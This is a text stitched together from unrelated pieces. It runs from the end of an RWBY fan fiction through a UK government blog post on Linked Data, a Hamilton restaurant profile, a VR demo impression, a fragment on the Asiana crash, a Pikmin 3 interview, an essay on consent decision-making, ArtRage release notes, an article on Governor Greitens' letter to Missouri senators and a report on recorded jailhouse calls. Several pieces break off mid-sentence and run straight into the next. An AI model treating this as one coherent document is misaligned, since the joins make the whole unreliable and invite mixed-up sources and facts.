me." She looked up at him, her eyes large, wide, and disbelieving. He shrugged as if it was the most normal thing in the world. "Yeah. Come with me for the summer. You wanted to see my village all this time anyway. Why not now?" "Really?" He liked the happiness that shined in her eye. It made her look prettier. "Of course. We've got more than enough room. And everyone will love to meet you, I'm sure. We make a big deal about newcomers." She sprung up, unheeded by his injuries and tackled him down onto the bed. They wrestled back and forth for a few minutes, fighting for dominance. Their peals of laughter soaked out through the modest walls and into the hallways. Jaune got the upper hand and pinned the smaller girl to the bed, her neat ponytail splayed out under her, making her look like some ethereal ice goddess. Her cheeks were flushed, her eyes, large and expressive, and her lips lightly parted and softly panting. "There's just one thing I'm still fuzzy on." "W-What?" She felt her face heating up pleasantly. "The nurse. She said you were my wife. What's up with—" "No!" Her face went tomato red with embarrassment. In a show of strength unusual for her small body, she reversed their position and straddled his chest. "Lunkhead! You forget all about that right this instant! W-What else was I supposed to tell them!? How else were they going to let me stay with you?" She beat her little fists on his chest mercilessly. "You don't have the privilege to know! Not now, not ever!" When Ren and Nora came in minutes later, they found the young pair wrestling playfully. A bright smile crashed across Nora's face as she happily threw herself into the fray. Ren chose to lean against the wall and watch as the two girls ganged up on their hapless, partially mummified team leader. "Hey." "Hey." Slade looked about the same as ever. Tousled silver hair, sharp gray eyes, pale, dapper face. "What's doin'?" "Nothing much. Mayor's drawing plans for a new schoolhouse. Pete nearly set Kia's tail on fire trying to strap her to another one of his rockets." "Oh boy." "Yeah." A beat. "You look like a mummy." "I know." "They told me about what you did. We're all real proud of you round here. Kat's lookin' to claw your eyes out since you never called, but we're all real proud all the same." "Heh, sorry about that. I just got caught up." "No sweat." "I... thought I'd come home." Slade clicked his tongue. "Well, where the hell else would you go?" He smiled. "Dummy. I'll tell Pete of the Crazy variety to come pick you up. Still got those pills, right?" "Jerk." They shared an easy laugh. "I hope you don't find this arrangement disagreeable, Mr. Arc. I would have told you sooner, but circumstances being what they were at the time..." The bandages had come off days ago. He hadn't come out much worse for wear. His skin felt rougher than usual, but Weiss said that would fade away as new skin cells replaced the fatigued ones. His hair was coming in nicely... again, and he wondered if it was worth growing out anymore. Maybe he should just keep it short. He stood in his full uniform, back straight, face expressionless, in Goodwitch's office. "Not at all, Professor. We'd like to know more about it too. And if Slade hadn't invited you, I most likely would have." Goodwitch nodded and penciled a few things into her black schedule book. She would be spending a portion of the summer with him at Carbo village, working with Slade to figure out not why his Aura was gone, they all know why, but why it couldn't be transferred back. Transference one way was unheard of, so trying to make it go the other way again was simply out of the realm of possibility. It was a question for the ages, and for the foremost authority on Aura, it was a topic she couldn't pass up. "Have you spoken with the Headmaster?" She didn't look up from her date book. "Yeah." They had spoken briefly after he had fully returned to himself. Ozpin told him about what had happened around the city while his team was out in the desert. Minutes after the Faunus had attacked the stadium, several civilian militia groups and police had mobilized and fought back against the frenzied people. There had been heavy fighting for hours throughout the city, but late in the day the Faunus began falling back. Their abilities were suddenly stripped from them and they were quickly overpowered and detained. Ozpin strongly suspected that was about the time Jaune had his final clash with the leader. His team had found the mangled body next to his own. They hadn't thought to take it with them as they had more pressing matters to attend to, but the struggle seemed well and truly over. Goodwitch finally looked up from her papers. "Then I leave you to your affairs." Thus dismissed, Jaune nodded and left the office. He walked all the way out the main lecture building where Goodwitch kept her office, and spilled out into the fresh early summer air. The day was bright and cheerful. He took a deep breath and stuffed his hands into his blazer pockets. He walked slow along the pink cobblestone path. Students hustled about, excitedly telling their friends about their plans for the long break. "My dad scored tickets for a cruise to Vaccuo. Wanna come?" "Sure. Just remember, I get seasick if I stay out on deck too long." "I'm workin' the bait shop again over the summer. Come by and keep me company." "Damn it, again? We're going to smell like fish all year." "I'm going up to Atlas to do some climbing." "Those are some of the highest peaks in all of Remnant." "Yeah, so?" "Don't look down." He didn't have much packing to do. He never grew out of what he'd brought with him in his rucksack. He had a few new changes of clothes and a nice new tie, a fine length of rope, and that was about it. Ren said he would take the fridge for the summer. That was about everything he needed to square up. On his way back to the dorms, he passed the assembled members of BSQT, Bill, Sam, Quinn and Ted the Tenor; Beacon Academy's one and only barbershop quartet. They stood in identical pinstripe suits and flat hats with red bands around the tops. The sandwich board at their feet read; BSQT: The Farewell Concert. They tipped their hats to him as he walked down the lane. Their voices tumbled after him in perfect harmony. He recognized it as a tune from their previous album. "And that lucky old sun's got nothin' to do, but roll around heaven all day..." Jaune slung his rucksack over his shoulder and stepped out of the dorms for the last time, for the first time. The sun was coming down, and had cast the sky in a soft orange glow. The lingering clouds were pale and shimmering in the quiet afternoon daze. Many of the students had left by now, and it was just a matter of time before everyone was gone for the summer. They'd already said their goodbyes with their sister team, promising, mostly to a teary eyed Ruby, that they'd make time to meet up over the break. Ren and Nora set off for their hometown earlier in the day. Blake had lingered before quietly going off with Pyrrha after lunch. He started down the blazing cobblestone at a leisurely pace. He was in a comfortable pair of jeans and a breezy, open, off white button down. He walked around the winding paths that separated the many blazing lawns and prismatic flower gardens. He passed the main building which housed the iconic emerald beacon, which was lit as a custom for the last day of the year. He saw Weiss haloed in the dipping orange sun. she was staring up at the statue of Elias Arc, hero of the Great War. He watched her for a moment. Her white battle dress blazed in the afternoon light. Her posture was prim and proper. Her back was straight. Her feet were planted close together, her hands were clasped in front of her, holding a small case which held her essentials, and her fine white ponytail fluttered softly in the lazy breeze. She turned her large blue eyes toward him as he approached. "What's up?" He gently combed his hand through her hair. It felt soft, silky, and entirely disarming. "Hm? Oh, nothing. I just see the resemblance, is all." She leaned into his touch. He smiled and curled his arms around her waist. "Oh yeah?" "Mhmm." She nodded. He paused and looked up at the statue, tall, proud, and shining in the orange light. He squeezed her and kissed the top of her head firmly. He slid his body to her side and gently led her away. Pete said he'd meet them at the gate when their Dustplane landed. They had a short walk to the bus depot which would take them through Vale, to the airport. The motor pool was ferrying students every fifteen minutes. Then, after a long, cramped flight they would touch down in the far west. The drive from the airport to Carbo would be about an hour across poorly paved road. Then, finally, home. . . . . . . . . . . . . . . . . . . . . . . . . The dark room felt right at home bathed in soft silvery light. The eight teenagers sat in a row, staring with glassy eyed wonder. Ruby and Yang had a seat between them with two buckets of popcorn and soda. The biggest they could demand. Pyrrha sat, politely munching on her package of Chocoraisins, a small soda sat dutifully in her cup holder. Nora hopped in her seat, swinging her arms excitedly, pantomiming the moves as she saw them. Ren kept one eye on his friend and another on the screen. Just in case. Jaune and Weiss sat cuddled together, a single large soda and Peanutbutter Pebbles between them. "Oh, Ryu! This is hopeless. We're part of two rival clans. They'll hunt us across the globe until they satisfy themselves on our blood. We'll never be safe. We can never be together." "Let them come for us, Suzuka. I'll kill them all. My love for you is stronger than anything they can throw at us." "Oh, Ryu!" "Oh, Suzuka." Blake sat on the last seat, her mouth silently moving in time with the dialog. Her eyes were misted over with tears of joy. Her bow twitched happily. And clutched in her trembling hands was a well worn copy of Ninjas of Love. Thanks for sticking with me to the end, folks.Government departments create reams of data. Linked with other data sources it can provide powerful insights for individuals and communities. Steve Peters from the Department for Communities and Local Government (DCLG) discusses how they are developing smarter ways to link information together online. Data is everywhere, underpinning almost all aspects of our everyday lives. We use it for major decisions such as choosing a new home, or seeking care for elderly family members. We use it for more mundane activities too – checking for the next bus, or getting the best price on that “must have” new DVD. We are already using data from multiple sources and organisations: local authorities, governments, charities and business, for example, when we search for the best local school, GP surgery or Chinese takeaway. The rise of Open Data – free and available for re-use for anyone – will generate new potential for linking together all these related data sources. This data linking will be the fuel to power radical new opportunities inside government and across the digital economy. This is the quiet hard slog of data work, and DCLG is at the forefront of efforts to stitch together data in government. Data fuels our work at the DCLG. We use it for key government priorities including housing and public service reform and it is widely used by local authorities, charities and businesses. One example is Shelter’s online databank, which uses our data on housing tenure to tackle homelessness. Companies use our housing, planning and land-use statistics to support retail planning, or better understand the changing demography of their target markets. The trouble with data However, much of that data is still locked-away in separate silos, created for a time when a dataset served a single human need. We tend to release our data in separate files or documents, the result being hundreds or thousands of spreadsheets on various websites, even if they are all brought together through the government’s data portal (www.data.gov.uk). Publishing in this disconnected, piecemeal way can create significant overheads. Spreadsheets are hard to find and difficult to use when the user only requires certain columns from a particular file. The result is a user community that spends significant time and effort copying, pasting and reformatting data before they can use it. These problems are exacerbated when users combine DCLG data with other third-party sources. For instance, imagine you are a homelessness advisor wanting to link together separate spreadsheets from DCLG, Ministry of Justice and Local Authority data on, say, homelessness and housing in Cornwall. How has each data publisher defined Cornwall in its own spreadsheet? Have they used names or codes, and are these consistent across all sources? We invariably find a lack of commonality or standards here, which again translates into unnecessary time and effort to prepare data for re-use. What is Linked Data? Have you ever talked to someone for a few minutes before realising you were using a common word or phrase but meaning different things? Humans are pretty adept at understanding the context of language, but computers are essentially dumb when interpreting context and meaning. The solution, Linked Data, is a set of standards and techniques for reliably and consistently linking together related data sources over the web, meaning computers can ‘understand’ that different datasets are referring to the same thing. Organisations like the BBC have meticulously catalogued and linked their data so that when you search their news site - for Manchester United for example – it automatically connects up and offers you all the BBC content on that person, place or organisation. Web pioneers such as Tim Berners-Lee have led the campaign for similar common identifiers across the open web, so that if you referred to Tower Bridge in your blog it will reference a commonly understood definition and URI, and open up the potential to access a myriad of other data connected with this same entity. The linkability of data is captured in the 5 star ratings ascribed to data on data.gov.uk and other international open data portals. The prize: joined-up data, for joined-up problem solving Our vision is that anyone should be able to discover and link together related sources over the web. For example, DCLG wants to develop smarter ways of joining-up disconnected data on housing, schools, parks, and retail facilities - empowering people to make more informed choices about where they want to live. We are doing this by publishing our data as Linked Data. These sources could be open data, linked over the public web, or could equally be private information shared in a more secure and protected environment. Our front-end solution to this is OpenDataCommunities, an innovative online portal. It is a publishing platform for releasing DCLG datasets that can be quickly discovered and linked to other data. It comprises 154 Linked Data sources drawn from DCLG’s statistical and geographic data portfolio. These have been selected by working closely with data owners and end-users, ensuring that datasets can be published in new, open and linkable forms, and will be actively used. Alongside the data repository are low-cost, innovative visualisation tools to help people understand how they might use our data and create new tools and insights from it. Two examples are visualisation of new experimental statistics on the energy performance of buildings, and statistics on loans completed under the Help-to-Buy scheme. Making a difference OpenDataCommunities has already had an impact. Our Linked Data has been used alongside third party sources to better plan and target local services. One example is Lambeth-in-Numbers, a project by Lambeth Council to solve the problem of families being unable to afford good food, and so suffering poor diet and health. The council and residents used the site to co-design solutions based on evidence gained by combining deprivation data, health data (e.g. child obesity levels), council data (e.g. location of different types of food outlet, level of free school meals) and resident data (e.g. on the size and location of food banks). The data now underpins the work of the new Lambeth Food Partnership which brings together residents, community organisations, businesses, local government and the NHS. It is supported by Lambeth Borough Council as part of their co-operative approach to working with local people. Its priorities for action are school meals service in the borough, food poverty and access, and the local food economy. Securing the prize: challenges and lessons learnt However, we have faced challenges along the way. Firstly, creating Linked Data is challenging. Data owners need to look afresh at how their data is organised and structured, to determine how and where it can be reliably and responsibly linked to external sources. So we are developing new technical skills in-house. Secondly, publishers generally lack the tools, capacity and expertise to help them generate and maintain Linked Data from multiple databases. That’s why we have built tools that can “read” and convert these sources with minimal human intervention, and then publish them directly to OpenDataCommunities. Thirdly, we have found that consuming and re-using Linked Data is not straightforward. Again, this is partly due to a lack of established tools and standards. Our solution here is to incorporate tools in OpenDataCommunities for non-technical users to quickly blend and retrieve data from multiple datasets. One example is our new Geography Selector, which helps users extract data for particular places of interest. Finally, there is a need to improve awareness about the benefits and opportunities of open, linked data. This is not well understood amongst senior decision-makers, data publishers, end-users, and software intermediaries. We are tackling this issue by building up a portfolio of evidence about the benefits of Linked Data over more conventional publishing approaches such as spreadsheets. In conclusion Linked Data has the power to deliver a web of information, deeply interconnected and rich in context. It heralds a not-too-distant future where data is not just clumps of zeros and ones parked somewhere in a spreadsheet, but a sea of meaningful connections ready to be used - like the experience you already have when searching Google, but much more powerful. It’s similar to the game of Six Degrees of Separation where connections open up a cascade of definitions and relationships, revolutionising how we interact with our data. Applying its principles to DCLG’s data has simplified yet powerfully expanded what we and others can do. But our data work at DCLG is only part of a much wider picture across government. Departments and agencies, and civil servants of all professions, are working together to create new services for the public using Linked Data. You can now check the price of your home, look at information about companies or check the quality of the water at your local beach – all using Linked Data. Data – whether Linked Data, Open Data or Data Science - is increasingly becoming a fundamental asset on which services can be built both inside and outside government. The American technology evangelist Tim O’Reilly argues that government should eventually become a platform which instead of just providing services, actually enables and empowers citizens to innovate for themselves. We believe OpenDataCommunities is one of the first steps on the path to that future.One of the most exciting cities to eat through in Ontario right now is undoubtedly Hamilton. The city is in the midst of a renaissance with equal parts art and culinary. In the early 2010s, the city started to see a surge in art-related events, most notably with Supercrawl leading the charge by promoting local artists. The festival — along with the food truck boom in 2013 — established James Street North as the epicentre for this interest in food and culture. The Hamilton Farmers' Market is also located nearby and for the last five years, it has been the stomping ground for food pop-ups, which have since evolved into brick and mortar establishments. Today, James Street North and its surrounding streets present an exciting food crawl of different cuisine and influences. And the city's beer scene alone has evolved by leaps and bounds. There are even a few Toronto chefs and cooks who have moved to Hamilton due to the rise in Toronto's real estate and operating costs. When I speak to locals and ask them what the food was like prior to this boom, the answers vary. Most of my friends that live in Hamilton recall their favourite diners or a barbecue joint near the highway they would frequent on their way to Niagara. Husband and wife team Nabil and Widad Mikho cook 'as if you were dining in their home.' (Suresh Doss/CBC) Much like other parts of the Greater Toronto Area, Hamilton has its fair share of shawarma restaurants that have been operating for decades. But only one is universally recommended: Nabil's Grill. Nabil and Widad Mikho left Baghdad in 1998 due to the intense political turmoil that engulfed Iraq. Neither had a background in food but Widad recalls that food was an integral part of family engagements. "We would cook and host people all the time. It was one of the most enjoyable experiences of my life," she said. For over 15 years, Nabil and Widad Mikho have been cooking and serving customers with utmost care. 1:14 After a short stay in Greece, Widad and Nabil moved to Canada along with their three children. "We wanted to be with our family and they were in Canada. At first, we moved to Saskatoon but eventually, we moved to Hamilton. Nabil's family is here," Widad said. After a few jobs, including a stint at a local dairy, Widad remembers Nabil coming home one day with the idea to open a restaurant. For the both of them, it was a way to preserve the culture they had left behind, and do something they both loved — cooking. In 2001, they found an empty space in a strip mall, steps away from James Street North and the Hamilton Farmers' Market. The special platter at Nabil's Grill is drizzled with garlic sauce. (Suresh Doss/CBC) Mark Furukawa, who owns a record shop across the street, recalls the day they opened. "I came in as soon as the open sign was lit because I wanted to meet them and support this business," he said. "Back then, there were very few options for a quick lunch in this area. A good, tasty lunch. I fell in love with Nabil's after the first plate. I've been visiting every week since, sometimes four or five times a week." Widad Mikho insists that her menu, largely composed of meat and rice, is nothing special. "This is how we cook at home This is how we cooked back home," she said, slowly shaping marinated ground meat around a steel skewer. At this husband-wife operation, Widad Mikho moulds the kebabs, while Nabil Mikho makes the shawarma and falafel. (Suresh Doss/CBC) Kabobs are her specialty. "I make the kabobs. Nabil makes the falafel and the shawarma." "Everyone has their special thing from the menu, but I think the best way to enjoy Nabil's is to get the special platter," Widad said. The special platter is all of the things I love about Nabil's on one plate. Widad first dresses a plate with a mound of yellow rice — I suggest you ask for the house specialty: biryani with almonds and raisins — and then proceeds to surround the rice with meat. You can get chicken or beef kabobs. Both are succulent and juicy. Then there's the chicken shawarma, which Widad and Nabil prepare daily with spices and herbs that they would use from back home. Nabil Mikho's falafel is 'essential,' says Metro Morning food guide Suresh Doss. (Suresh Doss/CBC) Nabil's falafel is essential. They're crunchy on the outside and pillowy in the centre. The plate is finished off with a large dollop of housemade hummus, tabbouleh salad and drizzled with hot sauce and garlic sauce. I also recommend that you ask for some "meat pita bread" — pita that Widad uses to release the meat from the steel skewers, which catches the meat grease and gristle. Most diners are familiar with shawarma, the combination of meat on rice with some sort of binding sauce. But at Nabil's, what really works for me is the deftness the couple show in cooking their specialty dishes. The rice is tender, the falafel is fluffy and flavourful. The meats are juicy on the inside with a pop of spice. Everything is cooked with a sense of care as if you were dining in their home. An assortment of meats at Nabil's Grill in Hamilton. (Suresh Doss/CBC) Since opening in 2001, Nabil's followership built quickly. At first, it started with workers nearby; lawyers and artists who would come in for chicken shawarma and rice. Then word spread, and in the evenings, they would host families for dinner. With Hamilton's fairly recent boom of restaurants, bars and breweries, locals still show allegiance to Nabil's. "The growth is great for the city and it's great for us. We cannot thank the local Hamilton people enough for supporting us," Widad said. Nabil's Grill is at 1 Wilson St. in Hamilton.Today I finally got to see the virtual reality demo at Valve Software. And it completely blew me away. The standard I had been used to was what I had seen before — experiences on the order of the Oculus Rift, which people in our field have been seeing for many years, and which is far inferior. What is different about this demo is that they have all the little details right, and this is an area in which all the little details really matter. As you move your head, the world moves around you as though you are really there, with none of those little delays that tell your subconscious that what you are seeing is fake. On the contrary, wherever I looked, it simply felt as though I was in the place I was looking at, whether those objects were creatures, walls and floors, mountains or spaceships. Which was pretty remarkable, because some of the places I “visited” were utterly fantastical. The very last “place” was a journey through a giant abstract world from the Demo Scene — beautiful and mysterious and utterly alien, yet somehow completely real. It was this demo, more than the more practical ones (e.g.: you are in a machine room, and you can stick your head inside the machine to see how it works), which really filled me with awe about the possibilities — the sense that our experience of possible universes is truly limited only by our imagination. But perhaps the most important thing was the absolute confirmation that the details really do matter. In this demo, unlike all the others I have seen, a threshold has been crossed, and I have seen another world.Media playback is unsupported on your device Media caption Passenger Ben Levy: "It happened in a flash, nobody was worried about anything" A Boeing 777 aircraft that crash-landed at San Francisco airport killing two people did not have mechanical problems, an airline official has said. The head of the South Korean airline Asiana, Yoon Young-doo, did not rule out human error but said the pilots were experienced veterans. Most of the 307 people on board were injured, 49 of them seriously. The plane came down short of the runway, ripping off its tail, after apparently hitting a sea wall. One survivor said the plane came in to land too fast and too low, but there was no warning of problems. Passengers and crew escaped down emergency slides as it burst into flames. Good record Mr Y
see the entire map on the Wii U GamePad. “With regard to “Pikmin 3” for Wii U, I don’t want to be misconceived, but the biggest draw of this game is the higher-resolution images through the high-definition graphics. You can even see Pikmin’s gestures with the graphics. We are not going to put asymmetric gameplay in a game if it is unnecessary. In this game, you can see the entire map on Wii U GamePad. The two screens of the TV and Wii U GamePad will let you see what you are doing at any time during your gameplay, which alone is a great evolution for a strategy game. As a side note, you can play this game only with Wii U GamePad. If it is hard to imagine what it will be like, maybe you can recall the visuals of the original “Pikmin” for Nintendo GameCube and imagine how you can play it with the smaller but more detailed screen in your hands. The two control sticks of Wii U GamePad will let you play this game more comfortably and, with a TV screen, the gyro sensor inside Wii Remote Plus will further help your gameplay. Wii U GamePad will give you style variations of playing this game and playing only with Wii U GamePad might be a good experience for you. I hope you will like this game.”If we're all equal, then why can't we agree? Voting is an improvement over autocracy - it distributes more power. Voting presents the image of equality: one person, one vote. Consensus decision making, the usual alternative to voting, also presents an image of equality - the 100% supermajority vote. And yet both of these decision making methods leave many of us deeply dissatisfied. Is there a more effective way to make equality-based decisions? Majority Vote Let's look at ordinary majority vote first. The one that gets more than 50% of the votes, wins. We are used to considering that fair. But whenever we are in the position of the "loser," we realize that voting divides all people into two groups: the winners and the losers. The losers' needs, ideas and concerns -- even though the losers might form almost half of the group -- can be ignored. The lack of information (why did you vote no? what would you rather see?) and the disfranchisement of those who "lose" harms the entire group, including the winners. A group of equals cannot afford to ignore up to half of its people. That’s the tyranny of the majority. We have gotten used to finding majority vote fair and democratic, but it presents a challenge if what we want is for everyone to be winners and on the same team. Consensus Consensus, at first sight, looks like the perfect solution. No one can be over-powered. All are equals, all have a say. If you have ever been part of a consensus-run organization, you know that pulling off consensus is hard. It is so hard that many groups burn out. So what's happening? Consensus is hard to find when the group has different preferences and experiences. The first problem: decision-making can take a very long time. When people start dreading meetings, how can we self-govern? Consensus also is often done in a way that is not formal enough. If someone blocks a decision, then what happens? What are good enough reasons to block a decision? Some groups have well-designed processes in place, but most do not. Sometimes it seems groups are on the same page about how much they are willing to accept something that they don't like -- until they're not. Lack of clarity around blocking decisions and lack of awareness of the options when objections arise are the biggest problems of consensus. We know many people (and we’ve been there ourselves!) who would hesitate before making proposals. If you put out an idea, you first have to ask yourself how willing you are to sit through hours of frustrating meeting time, where peers can shoot down your proposal at any time, with no way forward. If we feel like our decision-making method is getting in the way of new ideas, it is time to evaluate how we make decisions! Consensus gives too much power to individuals. A committee might have worked on a proposal for months, and when they bring forward to make a decision, any one person can block it. This burns out the do-ers in every organization and can turn entire organization dysfunctional. Another toxic element that comes in with consensus is the effect of "standing aside." Imagine a group makes a risky but potentially successful decision of investing into a young co-op. One person thinks it is too risky and blocks. Some in the group get upset. Peer pressure lets the objector cave in and choose to stand aside. Consensus-run organizations are not free of power-dynamics! Plus: let's say the risky decision turns into a disaster. What will the person who stood aside say? "See, I told you!" This is toxic for any group trying to navigate through risks and innovation as they operate their business. Consent In sociocracy, we use consent decision-making. The definition is simple: a decision is made when no one has an objection. If you already make your decisions like that but you call it consensus: congratulations! You've already figured this out. We simply choose to use "consent" as an unambiguous term. In consent decision-making, an objection means that you have reason to believe that carrying out the proposal will interfere with the group’s ability to carry out their purpose. You don't have to fully agree with the proposal to consent to it. A slogan people in the sociocracy movement use is, "this is good enough for now and safe enough to try." If we accept a not-yet-perfect proposal, we can try things out without getting into the ideological right-or-wrong fights that paralyze so many organizations. Consent asks, “is there a strong reason not to do it?” If not, we're going ahead. Switching to consent can be a liberating experience for consensus-run organizations. What would have happened in the example of the risky investment if the group had used consent decision-making? They would have heard the objection and would have chosen one of the many options of addressing objections. For instance, they might have chosen to lower the amount or to dig deeper to find out how solid the enterprise is. Either way, the group would have owned the objection together (no finger pointing!) and they would have found a proposal that everyone can consent to. Consent is an active process. Everyone takes 100% responsibility for the decision the group makes. If we're all equals and co-owners, how can one stand aside? We keep our group functional when we consent to a decision that we can work with even if it is not our preference. That way we move forward, experimenting and gathering feedback as we go rather than seeking perfect solutions. Consent is a way to balance group needs and individual needs that works for groups and is perfectly in line with co-op values and shared ownership. A Real Life Example Self-organized groups often use decision-methods organically. Imagine 5 friends trying to go out to eat. Two want falafel, three want pizza. If they voted, they'd come to a decision eat pizza, ignoring the two people who wanted falafel. Let's say one of them protests and gets upset. The friends now open it up for discussion again. They try to come to consensus and emotions get high. Each side feels like they're not being heard or considered. After some arguing, they realize that is impossible to find a food they all agree to. Sometimes groups then use compromises which can come at a cost: in this case, the group might split up for lunch, missing out on time together as a group. What would it look like in consent? In a consent decision, everyone would say whether they could work with a proposal. We might find out that one of the two pizza nay-sayers has a food allergy and cannot eat cheese which rules out pizza. We might also find out that the three pizza-lovers would have preferred pizza but that they are ok with falafel. This illustrates the difference between an objection (food allergy etc) and a preference. When we ask people for their preference, they will start fighting for their preference (pizza! falafel!). If we propose something and ask whether there is a reason not to do it, we have much more room to work with. A decision does not turn into a series of battles, but focuses on finding out whether there are deal breakers like allergies. Consent is safe because it prevents harmful decisions. But it keeps us sane because we are not even aiming for our preferences. Yes, as equals we want to decide together. Consensus and majority vote, however, have downsides that brings the group and the individuals out of balance. Consent is a decision-making method that has the advantages of consensus (no one can be ignored) while keeping groups innovative and action-oriented in the long run. More resources for sociocratic decision-making are available at Sociocracy For All Go to the Sociocracy / Dynamic Governance Theme Page Go to the GEO front pageArtRage for iPad Now Offers iPad Pro and Apple Pencil Support ArtRage for iPad now fully supports the Apple Pencil and iPad Pro. This long-awaited, and much-requested, update will allow you to draw using pressure and live tilt with the Apple Pencil, use the iOS9 Split Screen feature, paint on canvases up to 4096 x 4096 pixels with larger tools on the iPad Pro, and enjoy a range of request feature updates and fixes on all iPads running iOS8 and later. Support for iPad Pro Users ArtRage fully supports Apple’s official iPad stylus, which is fully integrated into iOS and doesn’t rely on a Bluetooth connection. You can use this stylus in ArtRage to draw with both pressure and tilt for a delightfully realistic drawing experience. We also enhanced various tools to simulate the angle of the virtual brush head. ArtRage will automatically detect the Apple Pencil if you leave the stylus preferences set to “None / Apple Pencil”. Larger Canvas! Bigger Brushes! We increased the maximum canvas size on iPad Pro to 4096 x 4096 and added presets for 4k resolution, as well as increasing the maximum size of various tools on iPad Pro for the new canvas sizes. New Features For Everyone We haven’t just added support for the iPad Pro users, we’ve made a whole bunch of other improvements too, to improve the painting experience of all our users. Many of these features were directly based on user feedback after releasing 2.0. Tools Palette Knife Loading You can now add paint to the Flat & Edge Palette Knives, just like in ArtRage 4 and the Android app. Transform We made two improvements to Transform: You can turn on both these options in the Transform menu, after you activate Transform. Stretching! You can now use non-uniform transforms and stretch objects to be taller or wider. Added the ability to ‘Hide Upper Layers’ in the Transform view, so you can see what you’re doing without it being hidden by paint. Interface iOS9 Split Screen We also added support for Split Screen functionality to the app (currently supported by iPad Air 2, iPad Pro and iPad mini 4). “Painting Closes Panels” You can now choose to have the menus automatically close when you start to paint. Turn this on in the Preferences. Canvas Rotation ArtRage now lets you rotate the canvas with your fingers as you draw! You can enable this feature in the Preferences, and choose whether to lock rotation to 15 degree increments. A two finger tap will reset everything back to the original position, rotation and zoom level. Solving the Mystery of the Disappearing Task Bar A lot of people getting caught out by the menu bar hiding whenever you tapped on the screen with three fingers. We’ve added a couple of features to help with this. A small recovery button to tap, so that you can bring the menu back without a three finger tap Making sure that the menu bar is always visible after you leave the app and come back Styluses We’ve improved the stylus support yet again to bring it completely up-to-date with all our supported Bluetooth styluses, and improve the touch rejection and gesture recognition. We’ve also added a guide to help Wacom users select the correct hand angle. Bug Fixes We also fixed a range of miscellaneous bugs from 2.0, such as making it harder to lose your work when quitting the app, making ArtRage more reliable, fixing the Chalk presets, and reducing memory usage overall. You should see far fewer crashes in this version. As always, we appreciate all the users who got in touch with us and helped us track down various issues. For full details, see the ArtRage for iPad version history. Learn more about ArtRage for iPad Read more about our iPad painting app on our website! Read more about our iPad painting app on our website!Missouri Governor Eric Greitens sent a letter excoriating his state’s two U.S. senators, Claire McCaskill and Roy Blunt, accusing them of turning their backs on problems at the state-run St. Louis Veterans Home, launching a sham investigation, and trying to place the blame for the troubles on his office. The retired Navy SEAL slammed the Senators — one of whom (Sen. Blunt) is from his own party — for a letter they sent jointly asking Greitens for an investigation into the problems at the facility. “I appreciate your recent interest in the St. Louis Veterans Home,” Greitens said sarcastically. “Frankly, it’s good to see some signs of life out of Congress. A lot of us back home have been wondering what you’ve been up to.” The governor continued delineating what his government has done on the matter: I’ll tell you what we’ve been doing in Missouri: we’ve been fighting for veterans. When we learned about the possible mistreatment of veterans at the St. Louis Veterans Home, we called on the Missouri Veterans Commission to investigate immediately. Then we directed the Department of Public Safety to complete a follow-up to the investigation. Then we asked the Department of Veterans Affairs to do the same. As a veteran myself, I won’t tolerate a single one being mistreated, and we will hold those responsible for their care accountable. Every veteran—and every veteran’s family—should have confidence in their care. I won’t rest until they do. Greitens went on in his sarcastic vein to note that the Senators “probably knew about these investigations before you sent a letter ‘requesting an investigation.'” The governor next showed that he doubted the senators’ sincerity: Or maybe you didn’t? Because in the other part of your letter, you asked for a copy of the VA report on the St. Louis Veterans Home. The VA publicly released that report back in September. If you lost your copy, you can Google “St. Louis Veterans Home Survey Report VA.” It’s the second link down. As he continued, the governor informed the senators that Missouri doesn’t “need more meaningless letters from career politicians.” “What we need is action,” Greitens wrote. “After all that time in Washington, both of you should have some pull there, so you should talk to your friends at the VA. Get to work helping veterans, and fix the broken bureaucracy that fails our veterans and their families.” Greitens then reminded the senators that he is all too aware of the problems our veterans face: I saw too many of my friends and fellow service members return home from combat and get mistreated by the VA. I saw lives ruined and families destroyed. In fact, the terrible treatment of our veterans is one of the reasons I ran for Governor. I’ve seen this pain with my own eyes. I didn’t just read about it in a report. The Show Me State leader ended his letter warning Congress to “get its act together” on tax cuts, the repeal of Obamacare, and securing our borders. “Folks back home are looking for some results from Washington, DC. It’s been too long, and we’re tired of waiting,” Greitens said. Follow Warner Todd Huston on Twitter @warnerthuston.Nevada Southern Detention Center (Special to Pahrump Valley Times) A federal prosecutor has admitted that she inadvertently obtained recordings of confidential jailhouse phone conversations between a bank robbery defendant and his lawyer. In court papers last week, Assistant U.S. Attorney Alexandra Michael said the attorney-client conversations were in a batch of recordings of the defendant, Robert Kincade, that she had subpoenaed from the Nevada Southern Detention Center in Pahrump. She said she turned over copies of all the recordings to the defense without listening to them and learned afterward that some involved phone conversations between Kincade and his lawyer, Kathleen Bliss. The defense attorney raised concerns in court papers last week that the privately run detention center was violating Kincade’s constitutional rights to a fair trial by providing prosecutors with recordings of her phone conversations with him. Bliss, a former federal prosecutor, cited the alleged attorney-client breaches in a motion to dismiss the robbery case against her client because of government misconduct. The government has yet to respond to the motion, but Michael addressed Bliss’ concerns about the recordings in her own motion opposing a defense subpoena request for all communications between the government and the detention center related to Kincade’s case. Michael said she learned that all inmates at the Pahrump detention center are told when they arrive that they must provide the phone number of their lawyers so that officials won’t record phone conversations with the lawyers. “Therefore, it would be fair to assume the defendant had not provided defense counsel Bliss’ phone number to the facility, as required, in order to avoid said calls being recorded,” she wrote. But in court papers late Friday, Bliss again criticized the government’s conduct. “Assuming that there may have been something in place at the Nevada Southern Detention Center relative to telephone calls with counsel, there is a far more disconcerting issue that the government ignores,” she wrote. “The government knew that Mr. Kincade was represented by counsel and yet compelled the NSDC via a subpoena filed under seal to produce all calls made by Mr. Kincade solely for the purpose of trawling through those calls in the course of its ongoing investigation and in preparation for trial.” Concerns about recorded phone calls at the Pahrump facility, run by Corrections Corporation of America, go beyond the Kincade case. Federal public defenders for one of the defendants in the Bunkerville standoff case also filed court papers last week suggesting that their phone conversations with their client, Ryan Payne, were being recorded. Payne, a militia leader from Montana, is one of 17 defendants, including Bunkerville rancher Cliven Bundy and four of his sons, charged with conspiring to assault Bureau of Land Management agents April 12, 2014. His attorneys said hundreds of federal inmates at the Pahrump facility might be affected by improper recordings, and they asked a judge to appoint a special master to determine whether the practice is widespread. Amid the furor over the jailhouse recordings, prosecutors last week filed a new indictment against Kincade, charging him with a series of bank robberies between 2011 and 2014. He faces charges of bank robbery, armed bank robbery, interference with commerce by robbery and brandishing a firearm during a crime of violence. Corrections Corporation of America, which operates federal detention centers across the country, has been lambasted by federal judges for invading the privacy of inmates at some of the company’s other facilities, according to Bliss and Payne’s 